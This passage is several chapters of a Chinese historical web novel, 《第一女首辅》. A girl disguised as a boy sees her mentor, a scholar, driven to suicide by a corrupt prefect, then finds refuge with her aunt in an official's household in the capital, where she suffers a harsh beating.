王秀才见他有些动容,起身道:“我言尽于此,陈兄,懂得隐忍,方得大成。夜深了,我不便叨扰,先行一步。” “王兄慢走。” 送走王秀才后,陈秀才面露怅然,盯着手里的书信。 谢庭欢看出他的为难,于是便抽出他手中的信,放在蜡烛上面,慢慢点燃。 “你这是做什么?”陈秀才想要抢过,但是那书信被烧得只剩一角了。 “先生。”谢庭欢俯身下跪,喊道。 她这一句先生,让陈秀才的心猛地一紧。 “你快些起来,不然我可要生气了。” 谢庭欢摇头,继续说:“我不想看到先生同我爹爹一样不得考取功名,只要先生心中记得先前说的话,我便很是感激。” 陈秀才将人扶起,叹了一口气,“世道艰难,孩子,我会永远记住你今日的话。” “多谢先生。” “你还是叫我秀才好,一句先生,我实在是愧不敢当。” 陈秀才将桌子上银两放进她口袋里,说:“王兄家境富裕,既然给了你银子,你便好生收着,将来日子好了还了这恩便可。我一身贫穷,赶考的钱都是七拼八凑来的,自是没有什么拿得出手的东西给你,可如今你唤我一句先生,我如论如何也得给你些东西。”话罢,他从箱笼里左翻又翻,拿出一本书,递给她,“我见你喜读书,便送你这本书,这书虽不值钱几个铜板,却是一本孤籍,是我曾祖父那辈传下来的,我自小习读,倒背如流,送了你也无妨,以你现下这个年纪或许有些读不懂,但将来你若是大了,再研读一番,想必有所感悟。” 谢庭欢小心翼翼地用双手接过,“谢谢先生。” “行了,夜深了,先上床歇息,明早还要赶路。” 陈秀才吹灭了蜡烛,让谢庭欢睡里面,自己躺在外侧,两人慢慢地睡去。 寅时将至,窗外传来几声乌鸦叫声,谢庭欢猛地被惊醒,她满脸大汗,睁大双眼盯着窗外喘着气,一旁的陈秀才被她吵醒,连忙安抚她。 这时,楼下传来脚步声。 谢庭欢被吓得蜷缩在角落,陈秀才连忙起身出门查看,他往楼下一看,正是七八名官兵。 恍惚间,他想起了王秀才的话,来不及思考怎么回事,但他心里有种预感,这些官兵定然是来抓捕自己的。 他连忙回到房间,将谢庭欢抱出来,将人藏在檐廊尽头一个不起眼的角落里,那放着一个空炭框,刚好可以让她藏进去,陈秀才嘱咐她:“不管发生什么事都不准出来,一定要躲好。” 谢庭欢一把抓住他的手,叫了一句:“先生。” 陈秀才摸了摸她的头,安慰道:“别怕。”随后便将框盖盖了上去,跑回了房间。 谢庭欢缩在炭框之中,透过缝隙,她看见一名官兵一脚踹开秀才的房门,随后一阵翻箱倒柜的声音传来,紧接着,她看见昏死过去的陈秀才被拖了出来,她紧紧抓着裤腿,含着泪,默默地看着这一切。 官兵走后,她慌忙顶开框盖,小心翼翼地跟在那群官兵后面。 她东躲西藏,在大堂看见了掌柜和伙计跪在地上瑟瑟发抖。 官兵出了客栈,点燃了火把,将秀才往外拖。 跟了近半个时辰,谢庭欢看见他们将人拖去了府衙后面的墙角,她躲在一辆顿满干草的马车车轱辘下。 只见前方有近十来个官兵,在他们中间,放了一把椅子,那椅子上坐着一位官老爷,正悠然地喝着茶,她视线慢慢往左,看见了一个人腰间佩戴的玉佩。 她不自觉定住了,这玉佩她记得,是王秀才身上的。 这时,官兵将一桶水泼在陈秀才身上,他缓缓睁开了眼,看见的却是王秀才一脸谄媚地站在官老爷身旁奉茶,他眼里由开始的震惊而后转变为愤怒、不甘,最后又释然。 谢庭欢只看见陈秀才的背影,只见他双手捶地,整身体耸动起来,伴随而来的是一声声瘆人的笑声。 官老爷盘着手中的核桃,看着他,说:“陈进,你可知我今日为何要审你?” 陈进眼里满是不屑,讽刺道:“何必多次一问。” 官老爷听了也不怒,心平气和地说:“说起来,你也是我晁州府属地的人,自小苦读,成了秀才也算是不容易,如今要上缙州府赶考,若是顺利,也算是前途无量,将来也可衣锦还乡,不负你母亲日以继夜卖鱼以供你读书的那份艰苦,如今我看你倒是鬼迷心窍了,大好的前途说不要就不要。”说完,他叹了一口气,又道:“我今日看在你母亲的份上,给你一个机会,若是你今日肯放下此事,好好的去赶考,将来搏份功名,我就不追究了,如何?” 陈秀才苦笑,这分明就是让自己与他同流合污,纵然自己今日答应他,将来为官也只会是为他人所迫,当即怒骂:“装模做样,我曾见过知府这般仁慈,若是仁慈,又为何乱杀无辜灾民?当真可笑!” 官老爷见他如此态度,便给了手下一个眼神。 随后,沾了水的鞭子狠狠落在他身上,远处的谢庭欢却未听见一句求饶声。 见陈进一声不吭,王秀才上前一步,劝说他:“陈兄,我之前说与你的话,字字句句可皆是肺腑之言,你何故如此刚烈,要遭受这些皮肉之苦呢。” 陈进咬着牙,怒目而视,一把扯过王秀才的衣领,往他脸上淬了一口,怒骂:“是你揭发的我,你从头到尾都是一个小人,一个不折不扣的伪君子!” 王秀才起身挣脱他,抹了一把脸,居高临下地看着他,“你说我小人也好,骂我伪君子也罢,我都不会放在心上,你陈进空有一身学识,却不懂得变通,乱世之中,安身立命谈何容易,而你,却不懂得抓住机会,像你这样的人,纵然他日登科及第,也不过是一株荒草,任人践踏。” 陈进哈哈哈哈哈大笑,他踉踉跄跄地站起来,指着眼前这些人,“你们....你们哈哈哈,真是可笑!”随后,他抬头望着残月,颤抖地指着天,悲怆愤恨,吐出一口鲜血,断断续续地骂道:“这满目疮痍,君...君不知!在那...金雕玉琢的紫禁城里,日日夜夜...对着一个...一个死人悼念,却弃千千万万名百姓...不顾,此...此君...不堪!而你们...更是不堪!” 他回头望了望家乡的方向,眼里满是决绝,呢喃道:“母亲,恕孩儿不孝。”话刚落音,他猛地撞向墙角,顿时眼珠凸起,脖子一歪,倒地不起。 谢庭欢痴痴地望着,她想起了母亲跳入火坑的那一幕,两行泪水瞬间夺眶而出,双手紧握住自己怀里的书,轻声喊了一句:“先生。” 在场众人见他毅然赴死,都愣在原地,只有官老爷依旧面不改色。 “你们都见着了,今日是他秀才陈进撞墙自尽。”说完,他放下手中的茶杯,吩咐道:“将他尸体烧了,将骨灰送回家去,就说是途中感染瘟疫不得不烧,再给他母亲十两银子当作赔偿。” 几名官兵将陈进的尸体拖走了,王秀才看着那地上流着一滩血,思绪万千。 这时,官老爷走过来,拍了拍他肩膀,说:“敬之啊,他死了,你少了个对手不是?你 5. 秦宅大门(上) 《第一女首辅》全本免费阅读 京城路途遥远,谢庭欢眼神坚定地望着前方,收拾好东西,便沿着官道一路北上,一边走一边留记号。她想着若是阿满哥哥还活着,看见这些记号,就一定能找打自己。 这一路上,她曾闻过湖畔荷花淡淡香,也曾在大雨滂沱里无处落脚,曾见过漫山遍野的红枫落,也曾在一草一木间染了一身风雪。 从芒种到冬至,她已离家半年多。 离京城城门还有三四十公里时,一个好心的贵妇人家见雪地里一个小孩在单独行走,便稍上了她一程。 谢庭欢抖着身子,眼里带着些惊恐和不安,但这马车里的暖意和眼前这夫人宽厚的笑容,让她在怀疑自己是不是产生了幻觉。 “夫人,您心地善良,可身子不好,这要是....”丫鬟犹犹豫豫,她怕这小乞丐满是风雪和寒气传染给夫人。 那妇人笑道:“我哪里就那么金贵了,你把我的裘衣拿过来给这孩子披上。” “是。” 谢庭欢披上暖和的裘衣缩在角落,喝下了那夫人递过来的热水,缓了许久,她慢慢起身,随后下跪,声音嘶哑:“谢谢夫人。” “起来吧,举手之劳而已,你从哪里来?怎的一个人?父母呢?” 谢庭欢低着头,额前凌乱的头发遮住了发红的眼眶,她小声说:“他们,都不在了。” 妇人心疼,拿出帕子擦了擦她眼泪,“你一个人上京可是来投靠亲戚?” 谢庭欢后退了一步,自己身上脏兮兮地,她不想弄脏眼前这位好心人的帕子和衣服。 “我来找姨母。” “那你姨母住在京都何处?看看我可否帮你找。” 她想了想,脑海里努力回忆姨母的那些信件,但想了半天,隐隐约约才拼凑出来一些信息,说:“姨母...姨母在秦府,是官老爷的小妾。” “秦府?”魏夫人思索一番,道:“这城中有两位姓秦的官员,一个在城西,一个在城南,不知道你说的是哪一户?” 谢庭欢又仔细回忆了一下,突然像是想到了什么,语气有些激动,说:“他..他是算命的!” 魏夫人听了这话仍不住笑了起来,连带着一旁的丫鬟也抿嘴发笑,这朝中哪有算命的官员,不过,说起来,好像说的直白点,同算命的也差不多。 “啊,算命的,那便是住在城西的那位秦大人了。”魏夫人答。 谢庭欢眼里闪着一丝光,心想她终于就要找到姨母了,想来多亏了眼前这位好心的夫人,于是连忙下跪朝魏夫人磕了一个头,“夫人大恩大德,我会一直记在心里。” “你这孩子,怎么动不动就下跪。”眼见快进城了,魏夫人便说:“我家也住在西边,顺道送你过去,也不妨事。” 但谢庭欢谢绝了她的好意,“夫人是个好人,我不敢再麻烦您,请您就在这里将我放下吧。” 魏夫人看这天寒地冻的,犹豫道:“你自己一个人真的可以?” 谢庭欢用力地点点头。 看着她眼里那份倔强,魏夫人也不再挽留,在下车的时候,她给了一些银子和吃食。 可谢庭欢一看见这些,立马想起了王秀才,她立刻朝马车上的夫人磕了一个头,随后脚步慌乱地往城内跑了。 魏夫人与丫鬟面面相觑,丫鬟看着自己手里的银子,不解问:“那小孩怎么见了这些银子像是看见什么可怕的东西一样,如此惊恐?” 魏夫人也不理解,说:“且随他去吧,想来他很快也就找到姨母了,我们先回府。” “是,夫人。” 谢庭欢一路小跑,直到躲在一处柱子后才敢喘口气,她探出头,看着那辆马车,心里又有些懊悔,那位夫人面容和善,自己不该这般无礼,只是,只是她怕。 魏夫人的马车缓缓朝城西驶去,丫鬟掀开帘子,四处看了看,忽然像是看到了什么,她立马放下帘子,小声说:“夫人,方才那孩子一直在偷偷跟着我们,您说,他是不是讹上我们了。” 魏夫人闻此,轻轻掀开帘子一角,确实看见了那孩子,便道:“无事,且先回府。” 等马车停在魏府门口,魏夫人便让一个小厮看着谢庭欢,自己带着丫鬟进了府。 不一会儿,小厮来报说那小乞丐在远处观望了一会儿就离开了。 魏夫人也没放在心上,那只是一个孩子而已。 谢庭欢边走边问路,可许多人并不愿意理会这个脏兮兮的小乞丐,这京城太大了,她走了许久也没找到地方。 眼见天色渐晚,谢庭欢迷茫地走在大街上,一阵阵寒风吹过,瘦骨嶙峋的她彷佛要被风刮跑似的,摇摇晃晃,也不知又走了多久,她双腿僵硬得快迈不开腿,于是便停了下来,迎着风雪抬头一看。 前方右侧一处大宅门口上方挂着“秦宅”二字的牌匾。 她连忙小跑过去,途中因路滑站不稳,又接连摔了好几跤。 然后此刻的她,已经不知疼痛了。 然事与愿违,当谢庭欢来到大门口之时,那两扇门紧紧闭着,门口也无人值守。她上前用力掂起脚尖,叩响铜铃,敲了许久,一个小厮才开了门。 那小厮见门口是一个脏兮兮的小孩,立马骂道:“哪来的乞丐,快滚!” “等等!你别关门,我找姨母!”谢庭欢身体一条腿卡在门缝,试图进去,可那小厮二话不说直接推了她一把,“砰!”地一声再次关上了大门。 谢庭欢连忙爬起来,又跑去敲门,敲了许久,门开了,还是方才那小厮,只见他满脸不耐烦,手里还多了一根棍子,指着她骂:“你要是再敲,我立刻将你打死。” 谢庭欢连忙说:“我姨母姓柳,她住在这里!” 那小厮听后停了下来,问:“柳姨娘?” 她有点不确定,但为了进去还是连忙点头。 “你先在这等着。” “谢谢你!” 谢庭欢满心雀跃,她就要见到姨母了。 但过了许久,也不见门开,她站不起来,只得蹲在台阶上,慢慢地,她心里越发失落起来,于是有上前准备敲门,刚一抬手,就听见一声:“庭欢?” 谢庭欢猛地回头,只见一位身着白色裘袄的妇人撑伞站在台阶下,她手里还牵着一个粉雕玉琢的女娃娃,那女娃娃正好奇地打量着自己。 见那妇人有着与母亲有四五分相似的面容,她顿时红了眼眶,一步一步朝那妇人走去,嘴里呢喃着:“姨母。” 柳姨娘手中的伞掉了,她松开了女儿的手,快步上前一把抱住了瘦弱的谢庭欢,哭喊道:“庭欢。” 谢庭欢眼眶积攒的两行泪瞬间就落了下来。 十岁的婉儿见自己的母亲和一个小哥哥抱头痛哭,她连忙捡起了伞,也上前抱着母亲哭。 这时,秦宅大门开了,里面走出一个雍容华贵的妇人,身边还跟着四个丫鬟,两个小厮。 她面露愠色,居高临下地看着地上三人。 柳姨娘连忙放开谢庭欢,拉着她下跪,道:“大娘子安。” 秦大娘子当即出口训斥:“柳氏,你在大门口哭哭啼啼像什么样子,若是叫人传扬了出去,岂不是丢我秦家的脸?” 柳姨娘立刻俯身磕头,“奴婢知罪,只是奴婢许久不见娘家姐姐的孩子,今日相见,一时之间情难自禁,还望大娘子海涵。” 秦大娘子上下打量了谢庭欢几眼,眼中带着些许嫌弃,“你娘家姐姐的孩子怎成了这副模样?” “大娘子有所不知,我娘家那带五月份突发水患,许多人家破人亡,我不知道,姐姐她...” “母亲不在了。”谢庭欢突然开口说。 闻此消息,柳姨娘又忍不住开始哭泣,这几月她托人送回了好几封信,可总是不见回,原来是,原来是已经遭遇了不测。 眼见刘氏又是一副哭哭啼啼的样子,秦大娘子有些不耐烦,但她眼下又不能驱赶一个死了父母上京寻亲的孩子,于是便道:“先将人带回你院子安顿,别在这哭哭啼啼不像话。” 柳姨娘又连忙拉着谢庭唤磕头谢恩,大娘子走后,她便将人从侧门带回了自己的院子。 柳氏的院子在角落,说是院子,其实只是两间小小的屋子,再加上小厨房,好在平时她一人足够了。 烧水洗澡熬姜汤,柳氏又熬了一碗粥,喂给谢庭欢吃了下去,忙前忙后,待二人有时间聊聊心事之时,谢宴南已经累得当即就睡过去了,柳氏坐在床边,握着她满是冻疮的手,小心翼翼地上着药,边涂边吹,生怕弄疼了她,涂着涂着,又忍不住红了眼眶,这今后的日子该如何过下去。 但谢庭欢睡得并不安稳,还没到半个时辰,她就醒了。 婉儿坐在椅子上,盯着谢庭欢看,心里十分欢喜,于是便叫了一声:“表姐。” 谢宴南当即心里一惊,连忙捂住她的嘴,眼神慌乱,忙说:“表哥,我是表哥。” 自离家以来,母亲便嘱咐过她,一路上都要把自己当成男孩,等到安顿好了,才可以恢复女儿身。眼下,她虽找到了姨母,可方才见这秦宅的大娘子盛气凌人的模样,想来姨母的日子过真比那信上还要艰难,面对这样的情形,她不敢安下心来。 熬好姜汤的柳姨娘正好听见了她说的这一句,红着眼眶问她:“庭欢,你这是何意?” 谢庭欢便将这原有一一细说与姨母听,柳姨娘听完又是一顿哭,可怜她姐姐,可怜这孩子。 这时,秦大娘子派人请柳姨娘过去一趟,屋子内便只剩下谢庭欢与婉儿两人相看无言。 婉儿对于方才那些话,似懂非懂,不过她很是听母亲的话,母亲说什么,她便做什么,于是甜甜地喊了一句:“表哥!”她越喊越开心,就着小短腿,一把抱住她的胳膊,蹭了蹭,说:“婉儿现在也和四妹妹一样,有哥哥了。” 谢庭欢伸手摸了摸她的头,她不太懂这高门大户的规矩,她父亲是独子,自己是谢家独女,所以她从小就没有兄弟姐妹,如今对着自己这个从未相见过的表妹,心里有种说不出的感觉,但是,她知道心里很欣喜,很庆幸在这世上还有姨母与表妹这两个血亲之人。 另一边,柳姨娘跪在大娘子屋内,苦苦求着她不要将谢庭欢送走,可大娘子下定决心不容她反驳,柳姨娘只得回到了自己院子。 傍晚,钦天监监判秦明章刚到家门口,一下马车,秦大娘子便迎了上来,见他额头上缠着纱布,大为惊呼:“哎呦!主君这头 6. 秦宅大门(下) 《第一女首辅》全本免费阅读 翌日清晨,谢旻起身,穿好姨母为她准备好的衣服,见婉儿站在自己床前,便问:“婉儿告诉表哥,姨母去了哪里?” “母亲和大娘子清早就一起出去了,婉儿也不知道她们去了哪里。” “原是这样,对了,婉儿,表哥告诉你,下次不可随意来表哥这里知道吗?男女有别,何况你是小姐,我只是这府中一个下人,若是让人瞧见了便会有麻烦。” “婉儿知道的,母亲教过婉儿,只是家里的哥哥姐姐都不愿意同我玩,婉儿不喜欢一个人在房间里。”说着说着,她那圆溜溜的大眼睛就要红了起来,谢旻见状,连忙蹲下来安慰:“别哭,以后表哥陪你,只是现下还不....” 她刚说完,门就被人一掌推开了,一个老嬷嬷齐气势汹汹地走了进来,瞪着两人。 婉儿下意识地躲在谢旻身后,不敢出声。 谢旻起身,紧紧拉着婉儿的手,抬头迎上那老嬷嬷。 “三小姐,您是自己过来,还是老身我亲自将您背回去。 婉儿越发躲得紧,看样子,她是怕极了这个老嬷嬷。 眼见这小姐躲在这小子后面不肯出来,嬷嬷便只能恐吓谢旻:“主君好意收留你,你应心怀感激,作为这宅子的下人,纵然与小姐沾了亲,可还是要守规矩。” “嬷嬷教训的是,此事绝不会在发生。” “你有自知之明便好,三小姐,走吧。”嬷嬷做了一个请的手势。 但婉儿依旧不肯出来,谢晏南只能蹲下身子,哄着说:“先回去好不好?” 婉儿听了这话,顿时委屈至极,泪珠子啪嗒啪嗒直掉,极不情愿地松开手,临走时还眼巴巴地看着她。 谢旻回想起小时候,那时母亲每每说起姨母便要抹眼泪,凡为妾者,何来尊严之说,婉儿虽然是这宅子的三小姐,却不被人所喜。有朝一日,她定要让姨母和婉儿过上体面的生活。 正当她在心中暗暗立誓之时,柳姨娘提着菜篮子回来了,见她站在门口,便招招手,示意她过来。 谢旻立刻跑了过去,只见姨母从篮子里面掏出一个木盒子,里面放着的正是母亲的遗物——一支完好无缺的流纹簪。 “姨母,这....”这簪子在她上京途中不小心给弄坏了,没想到姨母竟再次将它修好了。 柳姨娘笑着道:“姨母当然知道,这是你尚未出生之时,你父母亲托人打造的,昨日见它簪头受损,便拿去找师傅修了一下。” 谢旻备受感动,当即便磕了一个头,“多谢姨母!” 柳姨娘连忙将她扶起,“傻孩子,你的腿原本就有伤,还跪。” “姨母,我知道您和婉儿都不容易,以后无需在耗费心力在我身上,徒增麻烦。” “你这是说什么话呢,如今这世上,你只有姨母我和婉儿两个亲人,那还分什么彼此,对了,姨母记得这簪子是一对儿,怎的只剩下了一支了?” 说起这个,谢旻变得心事重重,近五个多月过去了,她再无阿满哥哥的消息,如今不知是死是活。 柳姨娘见她不说话,便问怎么了,谢旻便将赵满之事告知了她,柳姨娘听完后摇头叹了口气,拍拍她的肩膀安慰道:“欢儿,吉人自有天相,但愿那孩子平安。” “姨母。”谢旻突然表情凝重,柳姨娘不解,问:“怎么了?” 谢旻认真地看着柳姨娘,说:“姨母,往后一定不能再叫我本名,欢儿也不行。” 柳姨娘这才反应过来,她背后发凉,忙道:“姨母不会了。” 两人又聊了些心事,吃完午膳后,老管家便来这提人了。 秦宅的下人不多,加起来不超过二十人,再加上今儿又退走了五个,便只剩下差不多十五人,这宅子里的脏活乱活以及一些重力活都只能依靠男丁。 老管家差不多同秦通判一样大的年纪,只是稍矮些,脸上也看不出什么表情,他考虑到谢旻尚且才十岁,身板又小,便让她在大院的厨房里打杂,偶尔劈柴活或者到泔水还是勉强可以的,不忙的时候还能帮着打扫院子。 谢旻对此毫无怨言,来到厨房便开始干活,老管家在一旁看了一会儿,便离开了,厨房只剩下一个喋喋不休的厨娘。 厨娘见新来的小孩干活勤快得很,自是亲近了几分,一边颠勺一边询问:“你就是柳姨娘的大侄子?从江中一带来的?” 谢旻停下手里的活,朝她点了点头,随后又忙了起来。 “听闻江中一带闹完洪灾闹瘟疫,死了好多人,你这小孩命可真大。” 谢旻对此事闭口不谈,自顾自地劈着柴。厨娘见人不理睬自己,也没了趣,炒完菜便收拾好锅碗瓢盆,拿着菜篮子递给她,“走,同我去买菜。” 她起身接过菜篮,两人一同从后门出府了。 然而还没到菜市口,她就听见厨娘一路跟人砍价,在一个鱼摊上硬是和摊主掰了近半个时辰,最后厨娘让她在这耗,耗到眼前这条草鱼死了再买,自己又去和其他菜摊摊主杀价去了。 谢旻在鱼摊前,找了个角落蹲着,守着厨娘让她看着的那条鱼,鱼摊老板得空了便逗逗她:“小孩,新来的吧,以前秦家宅大厨娘买菜都是一个人,今日还带了一个小跟班,着实新鲜,不过,我问你句实在话,你知道她为什么要守着这死鱼买吗?” “省钱。”她答道。 “对喽!”鱼摊老板拍了拍手,又问:“死鱼肉可不新鲜,现杀的才好吃,但这菜市口的鱼贩子谁不知道入你们秦宅的鱼只有死的,从没有活的,这事你家老爷知道不?” “不知道。”她说的是她不知道,毕竟,新不新鲜的,又不是她吃。 “不知道就对了,我给你出一主意,你今日就去告诉你家老爷,说他家厨娘私下里吃回扣,说不定你家老爷还能给你一笔奖赏呢。” 谢旻不语,心想,这岂不是把自己往火坑里推。 老板见她不作声,准备再次开口时,突然耳朵被人揪住了,痛得他哇哇哇大叫,抬头一看,竟是那厨娘回来了。 “老娘我才离开多久,你就再背后说老娘坏话,你看看你那副尖嘴猴腮的样子,嘴上说出来的说话同这些死鱼一样,一股子腥臭味!” “放手!那你有本事别等着我的死鱼买啊!” “不买就不买,今日你在众人面前诋毁老娘,得赔上一条活鱼给老娘,否则老娘就把你告上官府!”厨娘一把揪起他的衣领,当即便要往官府里带。 鱼摊老板使劲挣扎着,打翻了两个木桶,一旁的谢旻在水浸湿鞋子之前起身挪了个地方。 “谁诋毁你了,有证据吗?” “呵,证据?”厨娘翻了个白眼,转身随即一把拎起蹲着的谢晏南,“你说,方才这鱼贩子是不是叫你冤枉老娘来着?” 谢旻抱着菜篮被人半拎着,模样极其滑稽,她眼睛眨了眨,没回答。 厨娘一看,这小子竟然装哑巴,刚准备发怒,便看见一群官兵持刀往这边来了。 二人误以为是来抓他们了,厨娘吓得抓上一条鱼就溜了,那鱼贩子更是扛起木桶就跑了,留谢旻站在原地。 但这群官兵并不是来抓他们的,而是径直从她身边掠过,往东边去了。 她向来痛恨官兵,但为了以后,她还是逞着厨娘不在,提着菜篮子,也往东边去了。 这里人少些,但来的人大多都是些达官显贵,或者走南闯北的商人。 她找了一个隐蔽的地方,伸出脑袋,只见前方官兵们围着一群老头,而那群老头个个脸上写着愤怒二字,其中一个穿着布衫的老头一把撕了自己的字画,指着官兵骂道:“老夫幸幸苦苦写的字画却被人揭发是临摹的,你们是非不分,还要来抓老夫?简直忍无可忍了!” 另一个老头上前拦住他,虽然脸色也不太好看,但还耐得住性子劝解。 这时一群锦衣卫赶到,领头的当即训斥走了官兵,朝二人行了一礼,客客气气地说了一大堆,最后二人一起走了。 官兵走后,谢旻记住了他们的样子,随后偷偷溜回秦宅后院,她一只脚刚碰到门槛,便被一记板子打倒在地,她忍着痛,回头一看,大娘子正居高临下地盯着自己,身后还站着得意洋洋的厨娘以及四个杂役。 这种情形,想必是厨娘去大娘子那里告状了,她不能为自己辩驳,只能低着头,跪在地上,默不作声,心里只期盼这件事不要让姨母和婉儿看见。 可怕什么来什么,柳姨娘匆匆赶来,边哭边祈求大娘子宽恕,可大娘子好不容易逮到这个机会,又怎么轻易放过谢旻,于是便命令两个杂役拦住她。 “今日我定要好好治治你这个乡下来的野小子,其他人给我看好了,若是你们也同他一样没有规矩,那就不要怪我这个大娘子心狠手辣!给我打!” “不要啊!求求大娘子,饶她这一次!”柳姨娘跪在大娘子身边求饶,但大娘子依旧不为所动,那近两米长的板子狠狠地落在谢旻背上。 “噗!”她一口鲜血吐了出来,瘦弱的身板定然是禁不住这样挨打,但她愣是没求饶一声,落下一板就闷哼一声,直到第二十下,她脑袋嗡嗡地作响,只觉得五脏肺腑都在剧烈地摇晃,终是受不住了,脸色骤然变得惨白,两眼一闭便昏死了过去。 “旻儿!”柳姨娘大喊一声,拼命挣扎,用尽全力推开杂役,上前一把抱住她,哭得歇斯底里,大娘子见状,命人收了手。 “今日就此作罢,柳姨娘,你应该教教你这个侄子,纵然主君只是一个六品官,但着秦宅的规矩还是有的,若是他以后带坏了府里的下人,更甚者带坏了公子小姐们,这罪,你可就担待不起了。” “是.....奴婢谨遵大娘子教诲。”柳氏泣不成声,抱着谢旻不撒手,拼命从牙缝里挤出来一句话回她。 “最好如此。”说完,大娘子便带着人走了,只有厨娘愣在原地,看着那满脸是血的谢旻,心里有些自责,她原以为大娘子就是小小地惩戒这小子一番,平日里有下人犯错,大娘子就是罚月银,警告一番便作罢,哪曾想今日对他是往死里打,早知如此,自己便不去告状了。 “那个,小娘,要不...这样吧,我那还有些药膏,我去找旺福来,给他先上药。”她良心不安,说得支支吾吾。 哪料想柳姨娘听了这话,突然像是受到了刺激,尖叫一声:“不要!”,吓得厨娘刚迈出去的右腿哆哆嗦嗦地收了回来,满脸惊恐,她从未见过柳姨娘这副模样。 柳姨娘生怕她来抢人,一边死死盯着她一边将谢旻背在身上,踉踉跄跄地往自己院子走去厨娘愣在原地,一句话也说不出来了。 柳姨娘将人背到房里后,来不及喘口气,便慌慌张张跑去打热水,找药膏,给谢旻脱衣服时,却发现她下身流了好多血,手忍不住一抖,打翻了一盆子热水,柳姨娘似乎是想到了什么,脸色猛然变得苍白,愣在原地惊慌失措。 “母亲。”婉儿不知何时出现在门口,见浑身是血的表哥躺在床上,又看见双手沾血的母亲,顿时吓得哇哇哇大哭,柳姨娘这才回过神,一把拉过被子,盖住了谢旻,然后一脚关上了门,将婉儿拉到自己跟前,捂住了她的嘴,抽泣着命令她:“不准哭!” 婉儿鼻子里被血腥味充斥着,脸涨得通红,眼泪哗啦哗啦地流,想要挣扎,但被母亲死死摁住,吓得昏了过去,柳姨娘这才回过神,猛地松开了手,将婉儿抱到自己房间床上,随后将院子大门锁上,她强迫自己冷静下来,又去打了一盆热水,往谢旻房里端去。 夜晚降临,婉儿从母亲房里醒来,却不见母亲,原本就泪眼朦胧,再加上今儿本是她的生辰,便更加委屈,一个人蹲在角落里埋头哭了起来,尽管已经换了衣服,可是她还是觉得有一股血腥味。 而此时的柳姨娘正背着谢旻挨家挨户找郎中,她怕被人认出来,特意在出门之前散乱着头发,换上了一件深灰色布衣,最后找了两块布巾遮住了自己和侄女的脸。 直至月上枝头,柳姨娘才偷偷从后门溜了回来,安顿好谢旻后,她怀里抱着两块木荷酥往自己房里走去,一推开门,只见婉儿蜷在墙角睡着了,她一路隐忍着的情绪终于在此刻忍不住了,一把抱住女儿埋头痛哭了起来,婉儿瞬间就被惊醒了,见母亲嚎啕大哭,也忍不住哭了起来。 “母亲....呜呜呜母亲。 7. 宫闱之变(一) 《第一女首辅》全本免费阅读 受了这般罪,自然不能就这样算了,谢旻看着姨母手中的鱼汤,问:“姨母,这是哪里来的?” “方才那厨娘送过来的,说是见你挨了打,于心不忍,可今天这事若不是她在大娘子面前告状,大娘子也不会....唉。” 谢旻知道这是那条死鱼熬的汤,顿时胃里泛起一股恶心,但还是强行忍下了,她接过鱼汤,一股脑儿全喝了。 柳姨娘见此忙道:“慢点喝。” 喝完,谢旻又喝了几口水,勉强将喉咙里那股腥味压下,嘱咐道:“姨母,往后那厨娘再送东西过来,你千万别要。” “旻儿,我是知道的,平日里姨母是断断不会接他们送的东西,只是如今你如今需要补身体,所以才收下了这汤。” “姨母,我没事了,以后不会再这般了。” 柳姨娘怜爱地摸了摸她的头,红了眼眶。 这时,婉儿突然出现在门口,只见她探出半个脑袋,圆溜溜地大眼睛眨了眨,小声问道:“母亲,婉儿可以进来看看表哥吗?” “婉儿,进来吧。” 婉儿走到床边,凑近盯着谢旻,问:“表哥你好些了吗?” 谢旻脸色虽然苍白,但眼里有了些精气神,她笑着点头,忽然是想到了什么,便问姨母:“婉儿这样的年纪,为何没人教她习字读书?” 谈到此处,柳姨娘便将婉儿支开了,她用帕子擦了擦眼泪,满是无奈,说:“只学过半年,但后来大哥儿落榜,主君便不让读了。在这宅子里,大哥儿读书科考才是一等一要紧的事,连那二哥儿都要往后站,何况院子里的姑娘,再说了,婉儿非大娘子所生,自然讨不到什么好处,她长这么大了,大娘子连个丫鬟也没给她,只留了一个老嬷嬷。眼下主君前景不好,今日听说大娘子又典当了一些东西出去,换些银两补贴家用,这般情形,我哪里是能开得了口的。” 谢旻脑海里浮现出婉儿天真的模样,她心里着实酸涩。 柳姨娘又说:“旻儿,你虽年纪小,但我知道你是个有主见的,但你刚来有些事也不懂,姨母今日便和你说,你既然走上了这条路,便不可能再回头,等你到了年纪,要不就是一直在这宅子里一辈子为奴,要不就是被主君送去参军,但姨母会找准时机将你送出去,自立门户。” 谢旻靠在床前,抬头透过窗户看着那高门大院,语气坚定,回道:“姨母,这两天路我都不会走,我要走的是第三条路,去科考,去做官,做大官。” 柳姨娘震惊不已,但似乎又是在意料之中,随后又听她说:“因为当官的不让父亲去科考,才导致父亲半生不得志最后因病去世,因为当官的贪污了救灾的银子和粮食,让我和母亲不得不背井离乡出来逃难,最后母亲跳入火坑,阿满哥哥也不知所踪,因为陈先生想行正义之事,就被人揭发,最后被晁州城的知府逼得撞墙自尽。我虽年纪小,可是,我知道,只有做了大官,才可以为他们报仇,才可做许多自己想做的事,姨母,对吗?” 谢旻说这些话的时候,心里没有一丝波澜,她语气平静,叙说这这些事实,柳姨娘自是驳不了她这些话,毕竟旻儿说的都是事实,她小小年纪遭受的苦难与折磨也都是事实。只是,这条路远比前两条路来得凶险。 柳姨娘心里有些胆怯,她也并不想让谢旻走前两两条路,她原本打算等谢旻到了年纪,就找机会将人送出秦府,自己再攒些钱,让她安慰过一生,也算是对得起故去姐姐。可是,她又知道这孩子心性,她断然不甘于此。 “旻儿,你当真想好了?” 谢旻伸手握住柳姨娘的手,坚定道:“姨母,我既然已经不能回头了,何不赌上一回,就算了死了,也无愧于父母。” “好,旻儿,你既然决定了,那么姨母必然是站在你这边的,只是,你一定要答应姨母,不管什么时候,都要把自己放在第一位。” “我知道的,姨母。” 翌日,谢宴南在柳小娘院子里躺了一天,所幸无人来打搅她们,大娘子也没过来找麻烦。 是夜,整个京都上方笼罩着一层乌云,大街小巷鸡鸣犬吠声此起彼伏,其中混杂着哭喊声,那是紫禁城的方向。 大娘子正火急火燎地忙着给秦监判准备衣物,“哎哟,老天爷,这会子天真的是要塌了,这年还怎么过哟!”她一边给秦监判穿戴孝衣一边嘴上喋喋不休。 “你这婆娘!说这么多作甚,要是迟了,就是杀头的大罪!” “是是是,我快些便是了,只是怎会这般突然?前天不是还亲自上朝了吗,怎的突然就,唉。” “谁知道呢。” 宫里来报,陛下薨了。 当秦监判听到这个消息,当即吓得从床上掉了下来,他知道陛下有疾,太医院的人也说过,只是万万没想到这么突然。 